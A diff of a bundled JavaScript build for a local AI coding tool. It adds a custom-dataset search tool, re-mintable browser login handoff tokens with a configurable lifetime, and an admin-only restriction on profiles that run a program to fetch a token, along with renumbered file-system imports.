+ const held = await options.store.load();
65234
+ if (options.semantic !== void 0 && held.length > 0) {
65235
+ const size = 500;
65236
+ const paths = held.map((record2) => datasetVectorId(options.datasetId, record2.id));
65237
+ for (let start = 0; start < paths.length; start += size) {
65238
+ if (options.signal?.aborted === true)
65239
+ throw new Error("Stopped.");
65240
+ options.onProgress?.(Math.min(start + size, paths.length), paths.length, "Removing vectors");
65241
+ await options.semantic.writer.deleteByPaths(options.semantic.collection, paths.slice(start, start + size), options.signal);
65242
+ }
65243
+ }
65244
+ await options.store.clear();
65245
+ return { removed: held.length };
65246
+ }
65247
+
65248
+ // ../../packages/core/dist/tools/searchData.js
65249
+ var searchSchema3 = external_exports.object({
65250
+ dataset: external_exports.string().optional().describe("Which dataset to search, by name. Omit to search all of them."),
65251
+ query: external_exports.string().optional().describe("Rank by meaning. Omit to get the most recent records in the window."),
65252
+ withinDays: external_exports.number().min(0.01).optional().describe("Only records with a timestamp this recent. Records with no timestamp are excluded."),
65253
+ contains: external_exports.string().optional().describe("Only records whose title or text contains this text. Exact, case-insensitive."),
65254
+ tag: external_exports.string().optional().describe("Filter on a tag, as `name=value`. Exact."),
65255
+ limit: external_exports.number().int().min(1).max(50).optional().describe("How many to return. Default 15.")
65256
+ });
65257
+ function describe4(record2, dataset) {
65258
+ const when = record2.timestamp === void 0 ? "" : `${new Date(record2.timestamp).toLocaleString()} `;
65259
+ const heading = record2.title ?? record2.text.trim().split("\n")[0]?.slice(0, 100) ?? record2.id;
65260
+ const body = record2.text.trim().slice(0, 400);
65261
+ return `${when}[${dataset}] ${heading}
65262
+ id: ${record2.id}${record2.url === void 0 ? "" : ` ${record2.url}`}
65263
+ ${body}`;
65264
+ }
65265
+ function createSearchDataTool(options) {
65266
+ return {
65267
+ name: "search_data",
65268
+ group: "read",
65269
+ description: "Searches the custom datasets the user collects with their own Python tools \u2014 tickets, wiki pages, rows from an internal system, whatever they have set up. Use it whenever a question is about the organisation's own data rather than about this codebase. `dataset` picks one by name, `withinDays` and `tag` are exact filters applied before any ranking, and `query` ranks what is left by meaning. Call it with no arguments to see what is there. These are exact counts over what has been synced, not a live query against the source \u2014 so the answer is only as current as the last sync, which is reported.",
65270
+ parametersSchema: searchSchema3,
65271
+ execute: async (params) => {
65272
+ try {
65273
+ const datasets = await options.load();
65274
+ if (datasets.length === 0) {
65275
+ return {
65276
+ content: "No custom datasets are configured, so there is nothing to search. The user sets these up in Settings \u2192 Custom data, by pointing at a Python tool that returns records. Say that rather than reporting that nothing was found."
65277
+ };
65278
+ }
65279
+ const wanted = params.dataset === void 0 ? datasets : datasets.filter((entry) => entry.name.toLowerCase() === params.dataset?.toLowerCase());
65280
+ if (wanted.length === 0) {
65281
+ return {
65282
+ content: `There is no dataset called "${params.dataset ?? ""}". Configured: ${datasets.map((entry) => entry.name).join(", ")}.`,
65283
+ isError: true
65284
+ };
65285
+ }
65286
+ let candidates = wanted.flatMap((entry) => entry.records.map((record2) => ({ dataset: entry.name, datasetId: entry.id, record: record2 })));
65287
+ const narrowed = [];
65288
+ if (params.withinDays !== void 0) {
65289
+ const cutoff = Date.now() - params.withinDays * 24 * 60 * 60 * 1e3;
65290
+ candidates = candidates.filter((entry) => entry.record.timestamp !== void 0 && entry.record.timestamp >= cutoff);
65291
+ narrowed.push(`in the last ${String(params.withinDays)} day(s)`);
65292
+ }
65293
+ if (params.tag !== void 0) {
65294
+ const [name, value] = params.tag.split("=");
65295
+ candidates = candidates.filter((entry) => value === void 0 ? entry.record.tags?.[name ?? ""] !== void 0 : entry.record.tags?.[name ?? ""] === value);
65296
+ narrowed.push(`tagged ${params.tag}`);
65297
+ }
65298
+ if (params.contains !== void 0) {
65299
+ const needle = params.contains.toLowerCase();
65300
+ candidates = candidates.filter((entry) => `${entry.record.title ?? ""}
65301
+ ${entry.record.text}`.toLowerCase().includes(needle));
65302
+ narrowed.push(`containing "${params.contains}"`);
65303
+ }
65304
+ const criteria = narrowed.length === 0 ? "" : `, ${narrowed.join(", ")}`;
65305
+ if (candidates.length === 0) {
65306
+ return {
65307
+ content: `Nothing in ${wanted.map((entry) => entry.name).join(", ")}${criteria}. This is an exact answer over what has been synced \u2014 but it is only as current as the last sync.`
65308
+ };
65309
+ }
65310
+ const limit = params.limit ?? 15;
65311
+ let ordered = candidates.sort((a, b) => (b.record.timestamp ?? 0) - (a.record.timestamp ?? 0));
65312
+ let how = "";
65313
+ const asked = params.query?.trim() ?? "";
65314
+ if (asked.length > 0 && options.semantic === void 0) {
65315
+ const words = asked.toLowerCase().split(/\s+/).filter((word) => word.length > 2);
65316
+ const needle = asked.toLowerCase();
65317
+ candidates = candidates.filter((entry) => {
65318
+ const haystack = `${entry.record.title ?? ""}
65319
+ ${entry.record.text}`.toLowerCase();
65320
+ return words.length === 0 ? haystack.includes(needle) : words.some((word) => haystack.includes(word));
65321
+ });
65322
+ if (candidates.length === 0) {
65323
+ return {
65324
+ content: `Nothing in ${wanted.map((entry) => entry.name).join(", ")}${criteria} mentions "${asked}". No embedding model is configured, so this was matched on words rather than meaning \u2014 something saying the same thing differently would not be found.`
65325
+ };
65326
+ }
65327
+ ordered = candidates;
65328
+ how = " matched on words, not meaning \u2014 no embedding model is configured";
65329
+ }
65330
+ if (asked.length > 0 && options.semantic !== void 0) {
65331
+ const vector = await options.semantic.embedder.embed(asked);
65332
+ const hits = await options.semantic.searcher.searchByVector(options.semantic.collection, vector, {
65333
+ size: Math.min(100, Math.max(limit * 4, 40))
65334
+ });
65335
+ const rank2 = /* @__PURE__ */ new Map();
65336
+ hits.forEach((hit, position) => {
65337
+ if (!rank2.has(hit.path))
65338
+ rank2.set(hit.path, position);
65339
+ });
65340
+ ordered = [...candidates].sort((a, b) => {
65341
+ const left = rank2.get(`data:${a.datasetId}:${a.record.id}`);
65342
+ const right = rank2.get(`data:${b.datasetId}:${b.record.id}`);
65343
+ if (left !== void 0 && right !== void 0)
65344
+ return left - right;
65345
+ if (left !== void 0)
65346
+ return -1;
65347
+ if (right !== void 0)
65348
+ return 1;
65349
+ return (b.record.timestamp ?? 0) - (a.record.timestamp ?? 0);
65350
+ });
65351
+ how = " ranked by meaning";
65352
+ }
65353
+ const shown = ordered.slice(0, limit);
65354
+ return {
65355
+ content: [
65356
+ `${String(candidates.length)} record(s) in ${wanted.map((entry) => entry.name).join(", ")}${criteria}${how}${candidates.length > shown.length ? `, showing ${String(shown.length)}` : ""}:`,
65357
+ "",
65358
+ ...shown.map((entry) => describe4(entry.record, entry.dataset)),
65359
+ "",
65360
+ "This is what has been synced, not a live query against the source. If the answer depends on something very recent, say when the dataset was last synced rather than implying it is current."
65361
+ ].join("\n")
65362
+ };
65363
+ } catch (error51) {
65364
+ return { content: error51 instanceof Error ? error51.message : String(error51), isError: true };
65365
+ }
65366
+ }
65367
+ };
65368
+ }
65369
+
63901
65370
  // src/sharedConfig.ts
63902
65371
  var EMPTY = { variables: [], adminIds: [], profiles: [] };
63903
65372
  var SharedConfigStore = class {
@@ -63909,7 +65378,7 @@ var SharedConfigStore = class {
63909
65378
  async load() {
63910
65379
  if (this.cache !== void 0) return this.cache;
63911
65380
  try {
63912
- const raw = JSON.parse(await fs19.readFile(this.filePath, "utf8"));
65381
+ const raw = JSON.parse(await fs20.readFile(this.filePath, "utf8"));
63913
65382
  const variables = sessionVariablesSchema.safeParse(raw["variables"]);
63914
65383
  const adminIds = Array.isArray(raw["adminIds"]) ? raw["adminIds"].filter((id) => typeof id === "string") : [];
63915
65384
  const profiles = external_exports.array(providerProfileSchema).safeParse(raw["profiles"]);
@@ -63930,21 +65399,21 @@ var SharedConfigStore = class {
63930
65399
  async save(next) {
63931
65400
  const current = await this.load();
63932
65401
  const merged = { ...current, ...next };
63933
- await fs19.mkdir(path26.dirname(this.filePath), { recursive: true });
65402
+ await fs20.mkdir(path27.dirname(this.filePath), { recursive: true });
63934
65403
  const temporary = `${this.filePath}.tmp`;
63935
- await fs19.writeFile(temporary, JSON.stringify(merged, null, 2), { encoding: "utf8", mode: 384 });
63936
- await fs19.rename(temporary, this.filePath);
65404
+ await fs20.writeFile(temporary, JSON.stringify(merged, null, 2), { encoding: "utf8", mode: 384 });
65405
+ await fs20.rename(temporary, this.filePath);
63937
65406
  this.cache = merged;
63938
65407
  return merged;
63939
65408
  }
63940
65409
  };
63941
65410
 
63942
65411
  // src/server.ts
63943
- import fs24 from "node:fs/promises";
65412
+ import fs25 from "node:fs/promises";
63944
65413
  import {
63945
65414
  createServer
63946
65415
  } from "node:http";
63947
- import path31 from "node:path";
65416
+ import path32 from "node:path";
63948
65417
 
63949
65418
  // src/identity.ts
63950
65419
  import crypto5 from "node:crypto";
@@ -63956,13 +65425,36 @@ var SingleUserIdentity = class _SingleUserIdentity {
63956
65425
  /**
63957
65426
  * Single-use and short-lived, because it travels in the launch URL's fragment where it
63958
65427
  * can end up in shell history or a terminal scrollback (§14).
65428
+ *
65429
+ * Ten seconds is right when the browser opens itself, and far too short when a person has to
65430
+ * move the URL by hand — into another application, a remote session, a phone. `--handoff-seconds`
65431
+ * raises it, and what that costs is stated where it is set: a longer window is a longer time in
65432
+ * which somebody reading that scrollback can use it before you do.
63959
65433
  */
63960
65434
  handoffToken = crypto5.randomBytes(32).toString("base64url");
63961
- handoffExpiresAt = Date.now() + 1e4;
65435
+ handoffExpiresAt;
65436
+ handoffSeconds;
65437
+ constructor(handoffSeconds = 10) {
65438
+ this.handoffSeconds = handoffSeconds;
65439
+ this.handoffExpiresAt = Date.now() + handoffSeconds * 1e3;
65440
+ }
63962
65441
  get launchToken() {
63963
65442
  if (this.handoffToken === void 0) throw new Error("handoff token already consumed");
63964
65443
  return this.handoffToken;
63965
65444
  }
65445
+ /**
65446
+ * Mints a fresh handoff token, replacing any outstanding one.
65447
+ *
65448
+ * For the case the old design had no answer to: the token expired unused, and the only way back
65449
+ * was to stop the server and start it again — losing the session, the conversation and anything
65450
+ * running. A new token grants exactly what the first one did, to whoever can read the terminal,
65451
+ * which is the same person it was printed to in the first place.
65452
+ */
65453
+ remintHandoff() {
65454
+ this.handoffToken = crypto5.randomBytes(32).toString("base64url");
65455
+ this.handoffExpiresAt = Date.now() + this.handoffSeconds * 1e3;
65456
+ return this.handoffToken;
65457
+ }
63966
65458
  /**
63967
65459
  * Exchanges the handoff token for the session token, once.
63968
65460
  *
@@ -63970,11 +65462,23 @@ var SingleUserIdentity = class _SingleUserIdentity {
63970
65462
  * or an attack, and in both cases the right answer is that this token is now spent.
63971
65463
  */
63972
65464
  redeemHandoff(presented) {
65465
+ return this.redeem(presented).token;
65466
+ }
65467
+ /**
65468
+ * The same exchange, saying *why* it failed.
65469
+ *
65470
+ * The reasons need different handling and only one of them is anybody's fault. An expired token
65471
+ * is an ordinary mishap — the browser was slow, the URL was pasted late — and the right response
65472
+ * is to offer another. A token that does not match is either a bug or an attack, and the right
65473
+ * response there is nothing at all.
65474
+ */
65475
+ redeem(presented) {
63973
65476
  const expected = this.handoffToken;
63974
65477
  const expiresAt = this.handoffExpiresAt;
63975
65478
  this.handoffToken = void 0;
63976
- if (expected === void 0 || Date.now() > expiresAt) return void 0;
63977
- return timingSafeEquals(presented, expected) ? this.sessionToken : void 0;
65479
+ if (expected === void 0) return { reason: "spent" };
65480
+ if (Date.now() > expiresAt) return { reason: "expired" };
65481
+ return timingSafeEquals(presented, expected) ? { token: this.sessionToken } : { reason: "mismatch" };
63978
65482
  }
63979
65483
  async authenticate(request) {
63980
65484
  const header = request.headers.authorization;
@@ -64057,8 +65561,8 @@ async function readJsonBody(request, maxBytes = 32 * 1024 * 1024) {
64057
65561
  }
64058
65562
 
64059
65563
  // src/fileSecretStore.ts
64060
- import fs20 from "node:fs/promises";
64061
- import path27 from "node:path";
65564
+ import fs21 from "node:fs/promises";
65565
+ import path28 from "node:path";
64062
65566
  var FileSecretStore = class {
64063
65567
  constructor(filePath) {
64064
65568
  this.filePath = filePath;
@@ -64070,7 +65574,7 @@ var FileSecretStore = class {
64070
65574
  async load() {
64071
65575
  if (this.cache !== void 0) return this.cache;
64072
65576
  try {
64073
- const raw = await fs20.readFile(this.filePath, "utf8");
65577
+ const raw = await fs21.readFile(this.filePath, "utf8");
64074
65578
  const parsed = JSON.parse(raw);
64075
65579
  this.cache = typeof parsed === "object" && parsed !== null ? parsed : {};
64076
65580
  } catch {
@@ -64082,10 +65586,10 @@ var FileSecretStore = class {
64082
65586
  this.queue = this.queue.then(async () => {
64083
65587
  const secrets = await this.load();
64084
65588
  mutate(secrets);
64085
- await fs20.mkdir(path27.dirname(this.filePath), { recursive: true });
65589
+ await fs21.mkdir(path28.dirname(this.filePath), { recursive: true });
64086
65590
  const temp = `${this.filePath}.${process.pid}.tmp`;
64087
- await fs20.writeFile(temp, JSON.stringify(secrets, null, 2), { encoding: "utf8", mode: 384 });
64088
- await fs20.rename(temp, this.filePath);
65591
+ await fs21.writeFile(temp, JSON.stringify(secrets, null, 2), { encoding: "utf8", mode: 384 });
65592
+ await fs21.rename(temp, this.filePath);
64089
65593
  });
64090
65594
  return this.queue;
64091
65595
  }
@@ -64116,8 +65620,8 @@ var FileSecretStore = class {
64116
65620
 
64117
65621
  // src/reviewQueue.ts
64118
65622
  import crypto6 from "node:crypto";
64119
- import fs21 from "node:fs/promises";
64120
- import path28 from "node:path";
65623
+ import fs22 from "node:fs/promises";
65624
+ import path29 from "node:path";
64121
65625
  var ReviewQueue = class {
64122
65626
  constructor(filePath) {
64123
65627
  this.filePath = filePath;
@@ -64127,7 +65631,7 @@ var ReviewQueue = class {
64127
65631
  async load() {
64128
65632
  if (this.cache !== void 0) return this.cache;
64129
65633
  try {
64130
- const parsed = JSON.parse(await fs21.readFile(this.filePath, "utf8"));
65634
+ const parsed = JSON.parse(await fs22.readFile(this.filePath, "utf8"));
64131
65635
  this.cache = Array.isArray(parsed) ? parsed : [];
64132
65636
  } catch {
64133
65637
  this.cache = [];
@@ -64136,10 +65640,10 @@ var ReviewQueue = class {
64136
65640
  }
64137
65641
  async persist(items) {
64138
65642
  this.cache = items;
64139
- await fs21.mkdir(path28.dirname(this.filePath), { recursive: true });
65643
+ await fs22.mkdir(path29.dirname(this.filePath), { recursive: true });
64140
65644
  const temporary = `${this.filePath}.tmp`;
64141
- await fs21.writeFile(temporary, JSON.stringify(items, null, 2), { encoding: "utf8", mode: 384 });
64142
- await fs21.rename(temporary, this.filePath);
65645
+ await fs22.writeFile(temporary, JSON.stringify(items, null, 2), { encoding: "utf8", mode: 384 });
65646
+ await fs22.rename(temporary, this.filePath);
64143
65647
  }
64144
65648
  async list() {
64145
65649
  return [...await this.load()];
@@ -64294,9 +65798,9 @@ var RoutedSecretStore = class {
64294
65798
  };
64295
65799
 
64296
65800
  // src/userVariables.ts
64297
- import fs22 from "node:fs/promises";
65801
+ import fs23 from "node:fs/promises";
64298
65802
  import { readFileSync } from "node:fs";
64299
- import path29 from "node:path";
65803
+ import path30 from "node:path";
64300
65804
  var UserVariableStore = class {
64301
65805
  constructor(filePath) {
64302
65806
  this.filePath = filePath;
@@ -64311,21 +65815,21 @@ var UserVariableStore = class {
64311
65815
  }
64312
65816
  async save(variables) {
64313
65817
  const parsed = sessionVariablesSchema.parse(variables);
64314
- await fs22.mkdir(path29.dirname(this.filePath), { recursive: true });
65818
+ await fs23.mkdir(path30.dirname(this.filePath), { recursive: true });
64315
65819
  const temporary = `${this.filePath}.tmp`;
64316
- await fs22.writeFile(temporary, JSON.stringify({ variables: parsed }, null, 2), {
65820
+ await fs23.writeFile(temporary, JSON.stringify({ variables: parsed }, null, 2), {
64317
65821
  encoding: "utf8",
64318
65822
  mode: 384
64319
65823
  });
64320
- await fs22.rename(temporary, this.filePath);
65824
+ await fs23.rename(temporary, this.filePath);
64321
65825
  return parsed;
64322
65826
  }
64323
65827
  };
64324
65828
  function userVariableStoreFor(dataDir, principal) {
64325
- return new UserVariableStore(userVariablesPath(path29.join(dataDir, "users", storageKeyFor(principal))));
65829
+ return new UserVariableStore(userVariablesPath(path30.join(dataDir, "users", storageKeyFor(principal))));
64326
65830
  }
64327
65831
  function userVariablesPath(userDir) {
64328
- return path29.join(userDir, "variables.json");
65832
+ return path30.join(userDir, "variables.json");
64329
65833
  }
64330
65834
  function readVariablesFile(filePath) {
64331
65835
  try {
@@ -64339,8 +65843,8 @@ function readVariablesFile(filePath) {
64339
65843
 
64340
65844
  // src/session.ts
64341
65845
  import { watch as fsWatch } from "node:fs";
64342
- import fs23 from "node:fs/promises";
64343
- import path30 from "node:path";
65846
+ import fs24 from "node:fs/promises";
65847
+ import path31 from "node:path";
64344
65848
  var FileConfigStore = class {
64345
65849
  constructor(userConfigPath, workspaceRoot) {
64346
65850
  this.userConfigPath = userConfigPath;
@@ -64356,7 +65860,7 @@ var FileConfigStore = class {
64356
65860
  const filePath = this.pathFor(scope);
64357
65861
  if (filePath === void 0) return void 0;
64358
65862
  try {
64359
- return await fs23.readFile(filePath, "utf8");
65863
+ return await fs24.readFile(filePath, "utf8");
64360
65864
  } catch (error51) {
64361
65865
  if (error51.code === "ENOENT") return void 0;
64362
65866
  throw error51;
@@ -64366,14 +65870,14 @@ var FileConfigStore = class {
64366
65870
  async write(scope, contents) {
64367
65871
  const filePath = this.pathFor(scope);
64368
65872
  if (filePath === void 0) throw new Error(`Cannot write ${scope} config: no workspace is open`);
64369
- await fs23.mkdir(path30.dirname(filePath), { recursive: true });
65873
+ await fs24.mkdir(path31.dirname(filePath), { recursive: true });
64370
65874
  const temporary = `${filePath}.${process.pid.toString(36)}.tmp`;
64371
- await fs23.writeFile(temporary, contents, { encoding: "utf8", mode: 384 });
64372
- await fs23.rename(temporary, filePath);
65875
+ await fs24.writeFile(temporary, contents, { encoding: "utf8", mode: 384 });
65876
+ await fs24.rename(temporary, filePath);
64373
65877
  try {
64374
65878
  const backupTemp = `${configBackupPath(filePath)}.tmp`;
64375
- await fs23.writeFile(backupTemp, contents, { encoding: "utf8", mode: 384 });
64376
- await fs23.rename(backupTemp, configBackupPath(filePath));
65879
+ await fs24.writeFile(backupTemp, contents, { encoding: "utf8", mode: 384 });
65880
+ await fs24.rename(backupTemp, configBackupPath(filePath));
64377
65881
  } catch {
64378
65882
  }
64379
65883
  }
@@ -64381,7 +65885,7 @@ var FileConfigStore = class {
64381
65885
  const filePath = this.pathFor(scope);
64382
65886
  if (filePath === void 0) return void 0;
64383
65887
  try {
64384
- return await fs23.readFile(configBackupPath(filePath), "utf8");
65888
+ return await fs24.readFile(configBackupPath(filePath), "utf8");
64385
65889
  } catch {
64386
65890
  return void 0;
64387
65891
  }
@@ -64391,7 +65895,7 @@ var FileConfigStore = class {
64391
65895
  if (filePath === void 0) return void 0;
64392
65896
  const target = `${filePath}.corrupt-${(/* @__PURE__ */ new Date()).toISOString().replace(/[:.]/g, "-")}`;
64393
65897
  try {
64394
- await fs23.rename(filePath, target);
65898
+ await fs24.rename(filePath, target);
64395
65899
  return target;
64396
65900
  } catch {
64397
65901
  return void 0;
@@ -64403,8 +65907,8 @@ var FileConfigStore = class {
64403
65907
  };
64404
65908
  let watcher;
64405
65909
  try {
64406
- watcher = fsWatch(path30.dirname(filePath), (_event, filename) => {
64407
- if (filename === path30.basename(filePath)) onChange();
65910
+ watcher = fsWatch(path31.dirname(filePath), (_event, filename) => {
65911
+ if (filename === path31.basename(filePath)) onChange();
64408
65912
  });
64409
65913
  } catch {
64410
65914
  }
@@ -64419,7 +65923,7 @@ var FileWorkspaceState = class {
64419
65923
  values = {};
64420
65924
  async load() {
64421
65925
  try {
64422
- const parsed = JSON.parse(await fs23.readFile(this.filePath, "utf8"));
65926
+ const parsed = JSON.parse(await fs24.readFile(this.filePath, "utf8"));
64423
65927
  if (typeof parsed === "object" && parsed !== null) this.values = parsed;
64424
65928
  } catch {
64425
65929
  this.values = {};
@@ -64431,8 +65935,8 @@ var FileWorkspaceState = class {
64431
65935
  async set(key, value) {
64432
65936
  if (value === void 0) delete this.values[key];
64433
65937
  else this.values[key] = value;
64434
- await fs23.mkdir(path30.dirname(this.filePath), { recursive: true });
64435
- await fs23.writeFile(this.filePath, JSON.stringify(this.values, null, 2), { encoding: "utf8", mode: 384 });
65938
+ await fs24.mkdir(path31.dirname(this.filePath), { recursive: true });
65939
+ await fs24.writeFile(this.filePath, JSON.stringify(this.values, null, 2), { encoding: "utf8", mode: 384 });
64436
65940
  }
64437
65941
  };
64438
65942
  function createBrowserUi(workspaceRoot, post) {
@@ -64470,7 +65974,7 @@ function createBrowserUi(workspaceRoot, post) {
64470
65974
  */
64471
65975
  openFile: async (filePath) => {
64472
65976
  try {
64473
- post([`[info] ${path30.basename(filePath)}`, "", await fs23.readFile(filePath, "utf8")].join("\n"));
65977
+ post([`[info] ${path31.basename(filePath)}`, "", await fs24.readFile(filePath, "utf8")].join("\n"));
64474
65978
  } catch (error51) {
64475
65979
  post(`[warning] Could not read ${filePath}: ${String(error51)}`);
64476
65980
  }
@@ -64488,14 +65992,14 @@ function createBrowserUi(workspaceRoot, post) {
64488
65992
  if (found.length >= limit || depth > 12) return;
64489
65993
  let entries;
64490
65994
  try {
64491
- entries = await fs23.readdir(dir, { withFileTypes: true });
65995
+ entries = await fs24.readdir(dir, { withFileTypes: true });
64492
65996
  } catch {
64493
65997
  return;
64494
65998
  }
64495
65999
  for (const entry of entries) {
64496
66000
  if (found.length >= limit) return;
64497
66001
  if (entry.name.startsWith(".") && entry.name !== ".env") continue;
64498
- const full = path30.join(dir, entry.name);
66002
+ const full = path31.join(dir, entry.name);
64499
66003
  if (entry.isDirectory()) {
64500
66004
  if (!skip.has(entry.name)) await walk(full, depth + 1);
64501
66005
  } else if (needle.length === 0 || entry.name.toLowerCase().includes(needle)) {
@@ -64509,11 +66013,11 @@ function createBrowserUi(workspaceRoot, post) {
64509
66013
  };
64510
66014
  }
64511
66015
  async function createSession(options) {
64512
- const userDir = path30.join(options.dataDir, "users", storageKeyFor(options.principal));
64513
- await fs23.mkdir(userDir, { recursive: true, mode: 448 });
66016
+ const userDir = path31.join(options.dataDir, "users", storageKeyFor(options.principal));
66017
+ await fs24.mkdir(userDir, { recursive: true, mode: 448 });
64514
66018
  const variableStore = new UserVariableStore(userVariablesPath(userDir));
64515
66019
  const userVariables = () => variableStore.read();
64516
- const workspaceState = new FileWorkspaceState(path30.join(userDir, "workspace-state.json"));
66020
+ const workspaceState = new FileWorkspaceState(path31.join(userDir, "workspace-state.json"));
64517
66021
  await workspaceState.load();
64518
66022
  const services = {
64519
66023
  transport: options.transport,
@@ -64521,9 +66025,9 @@ async function createSession(options) {
64521
66025
  * A shared profile's API key belongs to the administrator and lives beside the shared config;
64522
66026
  * everything else is this user's. Routed by the reference, which is all a secret store gets.
64523
66027
  */
64524
- secrets: options.sharedSecrets === void 0 ? new FileSecretStore(path30.join(userDir, "secrets.json")) : new RoutedSecretStore(new FileSecretStore(path30.join(userDir, "secrets.json")), options.sharedSecrets),
64525
- configStore: options.sharedProfiles === void 0 ? new FileConfigStore(path30.join(userDir, "config.json"), options.workspaceRoot) : new SharedProfileConfigStore(
64526
- new FileConfigStore(path30.join(userDir, "config.json"), options.workspaceRoot),
66028
+ secrets: options.sharedSecrets === void 0 ? new FileSecretStore(path31.join(userDir, "secrets.json")) : new RoutedSecretStore(new FileSecretStore(path31.join(userDir, "secrets.json")), options.sharedSecrets),
66029
+ configStore: options.sharedProfiles === void 0 ? new FileConfigStore(path31.join(userDir, "config.json"), options.workspaceRoot) : new SharedProfileConfigStore(
66030
+ new FileConfigStore(path31.join(userDir, "config.json"), options.workspaceRoot),
64527
66031
  options.sharedProfiles
64528
66032
  ),
64529
66033
  workspaceState,
@@ -64608,11 +66112,11 @@ var CONTENT_TYPES = {
64608
66112
  async function startServer(options) {
64609
66113
  const log = options.logSink ?? ((line) => process.stderr.write(`${line}
64610
66114
  `));
64611
- const identity = options.identity ?? new SingleUserIdentity();
66115
+ const identity = options.identity ?? new SingleUserIdentity(options.handoffSeconds);
64612
66116
  const roles = options.roles ?? SINGLE_USER_POLICY;
64613
66117
  const sharedStore = options.sharedConfig;
64614
- const sharedSecretStore = new FileSecretStore(path31.join(options.dataDir, "shared-secrets.json"));
64615
- const reviews = new ReviewQueue(path31.join(options.dataDir, "reviews.json"));
66118
+ const sharedSecretStore = new FileSecretStore(path32.join(options.dataDir, "shared-secrets.json"));
66119
+ const reviews = new ReviewQueue(path32.join(options.dataDir, "reviews.json"));
64616
66120
  let sharedCache = { variables: [], adminIds: [], profiles: [] };
64617
66121
  const bindAddress = options.bindAddress ?? "127.0.0.1";
64618
66122
  if (sharedStore !== void 0) sharedCache = await sharedStore.load();
@@ -64662,6 +66166,15 @@ async function startServer(options) {
64662
66166
  * absent for them rather than a queue they would have to visit to approve themselves.
64663
66167
  */
64664
66168
  ...roles.shared && !isAdminSession(principal) ? {
66169
+ /*
66170
+ * A personal profile may not run a program to fetch its token.
66171
+ *
66172
+ * That would be arbitrary execution as the service account, which §14 says plainly is
66173
+ * the thing locking down configuration does *not* buy you. An administrator can still
66174
+ * set one up as a shared profile, which is where a credential belonging to the server
66175
+ * belongs anyway.
66176
+ */
66177
+ executableAuthRefusal: "A profile that runs a program to fetch its token can only be set up by an administrator on a shared server \u2014 it would run as the account this server runs as. Ask an administrator to add it as a shared profile, or use an API key.",
64665
66178
  submitForReview: async (request) => {
64666
66179
  const queued = await reviews.submit({ ...request, authorId: principal.id, authorName: principal.displayName });
64667
66180
  log(`${principal.displayName} submitted ${request.kind} "${request.name}" for review`);
@@ -64716,12 +66229,16 @@ async function startServer(options) {
64716
66229
  }
64717
66230
  const body = await readJsonBody(request);
64718
66231
  const handoff = typeof body?.handoff === "string" ? body.handoff : "";
64719
- const token = identity.redeemHandoff(handoff);
64720
- if (token === void 0) {
64721
- reject(response, { status: 401, reason: "Handoff token invalid or expired. Restart light-code." });
66232
+ const outcome = identity.redeem(handoff);
66233
+ if (outcome.token === void 0) {
66234
+ if (outcome.reason === "expired" || outcome.reason === "spent") options.onHandoffLapsed?.(outcome.reason);
66235
+ reject(response, {
66236
+ status: 401,
66237
+ reason: outcome.reason === "expired" ? "That link expired. A fresh one has been printed in the terminal running light-code." : outcome.reason === "spent" ? "That link has already been used. A fresh one has been printed in the terminal." : "Handoff token invalid."
66238
+ });
64722
66239
  return;
64723
66240
  }
64724
- respondJson(response, 200, { token });
66241
+ respondJson(response, 200, { token: outcome.token });
64725
66242
  return;
64726
66243
  }
64727
66244
  const principal = await identity.authenticate(request);
@@ -64814,14 +66331,14 @@ async function startServer(options) {
64814
66331
  if (options.workspaceRoot === void 0) return "No workspace is open, so there is nowhere to write it.";
64815
66332
  try {
64816
66333
  if (item.kind === "skill") {
64817
- const dir2 = path31.join(options.workspaceRoot, ".lightcode", "skills");
64818
- await fs24.mkdir(dir2, { recursive: true });
64819
- await fs24.writeFile(path31.join(dir2, `${item.name}.md`), item.content, "utf8");
66334
+ const dir2 = path32.join(options.workspaceRoot, ".lightcode", "skills");
66335
+ await fs25.mkdir(dir2, { recursive: true });
66336
+ await fs25.writeFile(path32.join(dir2, `${item.name}.md`), item.content, "utf8");
64820
66337
  return void 0;
64821
66338
  }
64822
- const dir = path31.join(options.workspaceRoot, ".lightcode", "tools");
64823
- await fs24.mkdir(dir, { recursive: true });
64824
- await fs24.writeFile(path31.join(dir, `${item.name}.py`), item.content, "utf8");
66339
+ const dir = path32.join(options.workspaceRoot, ".lightcode", "tools");
66340
+ await fs25.mkdir(dir, { recursive: true });
66341
+ await fs25.writeFile(path32.join(dir, `${item.name}.py`), item.content, "utf8");
64825
66342
  return void 0;
64826
66343
  } catch (error51) {
64827
66344
  return error51 instanceof Error ? error51.message : String(error51);
@@ -64922,9 +66439,9 @@ async function startServer(options) {
64922
66439
  return;
64923
66440
  }
64924
66441
  try {
64925
- const body = await fs24.readFile(path31.join(options.clientDir, asset));
66442
+ const body = await fs25.readFile(path32.join(options.clientDir, asset));
64926
66443
  response.writeHead(200, {
64927
- "Content-Type": CONTENT_TYPES[path31.extname(asset)] ?? "application/octet-stream",
66444
+ "Content-Type": CONTENT_TYPES[path32.extname(asset)] ?? "application/octet-stream",
64928
66445
  ...securityHeaders()
64929
66446
  });
64930
66447
  response.end(body);
@@ -64940,6 +66457,7 @@ async function startServer(options) {
64940
66457
  return {
64941
66458
  url: `http://${authority}`,
64942
66459
  launchToken: identity instanceof SingleUserIdentity ? identity.launchToken : void 0,
66460
+ newLaunchUrl: identity instanceof SingleUserIdentity ? () => `http://${authority}/#t=${identity.remintHandoff()}` : void 0,
64943
66461
  close: () => new Promise((resolve) => {
64944
66462
  for (const connection of connections.values()) connection.dispose();
64945
66463
  connections.clear();
@@ -64966,8 +66484,8 @@ async function main() {
64966
66484
  process.stdout.write("\n");
64967
66485
  return;
64968
66486
  }
64969
- const file2 = path32.join(os3.tmpdir(), "light-code-guide.html");
64970
- await fs25.writeFile(file2, guidePage(OPERATOR_GUIDE), "utf8");
66487
+ const file2 = path33.join(os3.tmpdir(), "light-code-guide.html");
66488
+ await fs26.writeFile(file2, guidePage(OPERATOR_GUIDE), "utf8");
64971
66489
  process.stdout.write(`Opening the guide: ${file2}
64972
66490
  (--guide --no-open prints it instead.)
64973
66491
  `);
@@ -65000,9 +66518,13 @@ Did you mean: --admin-id ${strayAdminValue.join(" --admin-id ")}
65000
66518
  const adminIds = valuesOf(args, "--admin-id");
65001
66519
  const trustedProxies = valuesOf(args, "--trust-proxy");
65002
66520
  const userHeader = valueOf(args, "--user-header");
65003
- const workspaceRoot = path32.resolve(valueOf(args, "--workspace") ?? process.cwd());
66521
+ const workspaceRoot = path33.resolve(valueOf(args, "--workspace") ?? process.cwd());
65004
66522
